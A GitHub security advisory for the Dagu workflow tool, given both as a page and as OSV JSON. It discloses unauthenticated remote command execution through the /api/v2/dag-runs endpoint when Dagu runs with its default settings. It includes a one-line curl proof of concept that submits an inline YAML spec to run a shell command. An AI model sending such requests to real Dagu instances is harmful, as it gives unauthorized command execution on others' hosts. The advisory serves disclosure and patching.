GHSA-6QR9-G2XW-CW92

Vulnerability from github – Published: 2026-02-19 22:04 – Updated: 2026-02-20 21:44
VLAI?
Summary
Dagu affected by unauthenticated RCE via inline DAG spec in default configuration
Details

Summary

Dagu's default configuration ships with authentication disabled. The POST /api/v2/dag-runs endpoint accepts an inline YAML spec and executes its shell commands immediately with no credentials required — any dagu instance reachable over the network is fully compromised by default.

Details

internal/service/app/config/loader.go:226 sets AuthModeNone as the default. With no auth mode configured, internal/frontend/api/v2/handlers/api.go:520 returns nil from requireExecute() — all permission checks pass without a valid session.

The POST /api/v2/dag-runs endpoint accepts a spec field containing a full YAML DAG definition. The spec is parsed and the commands execute immediately on the host with no validation beyond YAML parsing.

PoC

curl -s -X POST http://TARGET:8080/api/v2/dag-runs \
  -H "Content-Type: application/json" \
  -d '{"name":"poc","spec":"steps:\n  - name: rce\n    command: id > /tmp/pwned\n"}'
# Response: {"dagRunId":"<uuid>"}
# /tmp/pwned contains: uid=1000(dagu) gid=1000(dagu)

Confirmed on ghcr.io/dagu-org/dagu:latest with no configuration changes.

Impact

Every dagu deployment using default settings — every Docker deployment, every install following the documentation, every instance without explicit DAGU_AUTH_MODE configuration — is fully compromised without credentials. An attacker with network access gets OS command execution as the dagu process user.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dagu-org/dagu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.30.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-19T22:04:39Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nDagu\u0027s default configuration ships with authentication disabled. The `POST /api/v2/dag-runs` endpoint accepts an inline YAML spec and executes its shell commands immediately with no credentials required \u2014 any dagu instance reachable over the network is fully compromised by default.\n\n### Details\n`internal/service/app/config/loader.go:226` sets `AuthModeNone` as the default. With no auth mode configured, `internal/frontend/api/v2/handlers/api.go:520` returns `nil` from `requireExecute()` \u2014 all permission checks pass without a valid session.\n\nThe `POST /api/v2/dag-runs` endpoint accepts a `spec` field containing a full YAML DAG definition. The spec is parsed and the commands execute immediately on the host with no validation beyond YAML parsing.\n\n### PoC\n```bash\ncurl -s -X POST http://TARGET:8080/api/v2/dag-runs \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"poc\",\"spec\":\"steps:\\n  - name: rce\\n    command: id \u003e /tmp/pwned\\n\"}\u0027\n# Response: {\"dagRunId\":\"\u003cuuid\u003e\"}\n# /tmp/pwned contains: uid=1000(dagu) gid=1000(dagu)\n```\nConfirmed on `ghcr.io/dagu-org/dagu:latest` with no configuration changes.\n\n### Impact\nEvery dagu deployment using default settings \u2014 every Docker deployment, every install following the documentation, every instance without explicit `DAGU_AUTH_MODE` configuration \u2014 is fully compromised without credentials. An attacker with network access gets OS command execution as the dagu process user.",
  "id": "GHSA-6qr9-g2xw-cw92",
  "modified": "2026-02-20T21:44:24Z",
  "published": "2026-02-19T22:04:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dagu-org/dagu/security/advisories/GHSA-6qr9-g2xw-cw92"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dagu-org/dagu"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dagu affected by unauthenticated RCE via inline DAG spec in default configuration"
}


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